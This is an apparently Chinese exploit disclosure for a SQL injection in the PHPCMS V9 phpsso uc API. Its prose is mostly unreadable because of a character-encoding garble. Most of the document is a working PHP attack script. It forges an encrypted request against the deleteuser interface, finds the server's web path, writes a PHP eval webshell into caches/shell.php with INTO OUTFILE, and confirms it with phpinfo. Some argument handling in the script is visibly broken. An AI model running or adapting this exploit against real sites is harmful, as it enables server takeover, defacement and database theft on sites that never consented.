PHPCMS V9 uc API SQL×¢Èë©¶´
PHPCMS V9°æÓÚ2010ÄêÍÆ³ö£¬ÊÇÓ¦ÓýÏΪ¹ã·ºµÄ½¨Õ¾¹¤¾ß¡£µÚÈý·½Êý¾ÝÏÔʾ£¬Ä¿Ç°Ê¹ÓÃPHPCMS V9´î½¨µÄÍøÕ¾ÊýÁ¿¶à´ïÊýÊ®Íò¸ö£¬°üÀ¨ÁªºÏ¹ú¶ùͯ»ù½ð»áµÈ»ú¹¹ÍøÕ¾£¬ÒÔ¼°´óÅúÆóÒµÍøÕ¾¾ùʹÓÃPHPCMS V9´î½¨ºÍά»¤¡£ËùÓÐʹÓÃPHPCMSV9´î½¨µÄÍøÕ¾¾ù´æÔÚSQL×¢Èë©¶´£¬¿ÉÄÜʹºÚ¿ÍÀûÓé¶´´Û¸ÄÍøÒ³¡¢ÇÔÈ¡Êý¾Ý¿â£¬ÉõÖÁ¿ØÖÆ·þÎñÆ÷¡£Î´ÆôÓÃucenter·þÎñµÄÇé¿öÏ£¬uc_keyΪ¿Õ£¬define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser½Ó¿Ú´æÔÚSQL×¢Èë©¶´¡£ÈôMYSQL¾ßÓÐȨÏÞ£¬¿ÉÖ±½Óget webshell¡£
©¶´·ÖÎö£º
1.δÆôÓÃucenter·þÎñµÄÇé¿öÏÂuc_keyΪ¿Õ
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
2. deleteuser½Ó¿Ú´æÔÚSQL×¢Èë©¶´£¬UCËã·¨¼ÓÃܵIJÎÊýÎÞ¾åGPC,³ÌÐòԱδÒâʶµ½$get['ids']»á´æÔÚSQL×¢ÈëÇé¿ö¡£
public function deleteuser($get,$post) {
pc_base::load_app_func('global', 'admin');
pc_base::load_app_class('messagequeue', 'admin' , 0);
$ids = new_stripslashes($get['ids']);
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
SQLÓï¾äΪ
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
ÀûÓôúÂë£¬Ëæ±ãÆ´Á˸öEXP£¬ÕÒ·¾¶ÕýÔòдµÃºÜ´ìÓÐBUG£¬Ã»ÓÐ×¢ÆäËû±íÁË£¬ÀÁµÃ¸ÄÁË£¬MYSQLÓÐȨÏ޵ϰֱ½Óget webshell
<?php
print_r('
---------------------------------------------------------------------------
PHPcms (v9 or Old Version) uc api sql injection 0day
by rayh4c#80sec.com
---------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv.' host path OPTIONS
host: target server (ip/hostname)
path: path to phpcms
Options:
-p: specify a port other than 80
-P: specify a proxy
Example:
php '.$argv.' localhost /
php '.$argv.' localhost /phpcms/ -p81
php '.$argv.' localhost /phpcms/ -P1.1.1.1:80
---------------------------------------------------------------------------
');
die;
}
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=".";}
else
{$result.="".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function send($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
$parts=(int)$parts;
echo "Connecting to ".$parts.":".$parts." proxy...\r\n";
$ock=fsockopen($parts,$parts);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv;
$path=$argv;
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i].$argv[$i];
if ($temp=="-p")
{
$port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path<>'/') or ($path<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : '');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo " ·ÃÎÊ http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"MySQL Errno") > 0){
echo " ·¢ÏÖ´æÔÚSQL×¢Èë©¶´"."\n";
echo " ·ÃÎÊ http://".$host.$p."phpsso_server/api/logout.php \n";
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
preg_match('/?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
//print_r($matches);
if(!empty($matches)){
echo " µÃµ½web·¾¶ " . $matches."\n";
echo " ³¢ÊÔдÈëÎļþ ". str_replace("\\","/",$matches) ."caches/shell.php"."\n";
$SQL = "time=999999999999999999999999&ids=1)";
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST);?>' into outfile '". str_replace("\\","/",$matches) ."caches/shell.php'#";
$SQL.="&action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo " ·ÃÎÊ http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"Access denied") > 0){
echo "[-] MYSQLȨÏÞ¹ýµÍ ½ûֹдÈëÎļþ :(";
die;
}
echo " ·ÃÎÊ http://".$host.$p."phpsso_server/caches/shell.php"."\n";
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"<title>phpinfo()</title>") > 0){
echo " ²âÊÔphpinfo³É¹¦£¡shellÃÜÂëÊÇa ! enjoy it :)";
}
}else{
echo "[-]δȡµ½web·¾¶ :(";
}
}else{
echo "[*]²»´æÔÚSQL×¢Èë©¶´"."\n";
}
?>
Ò³:
[1]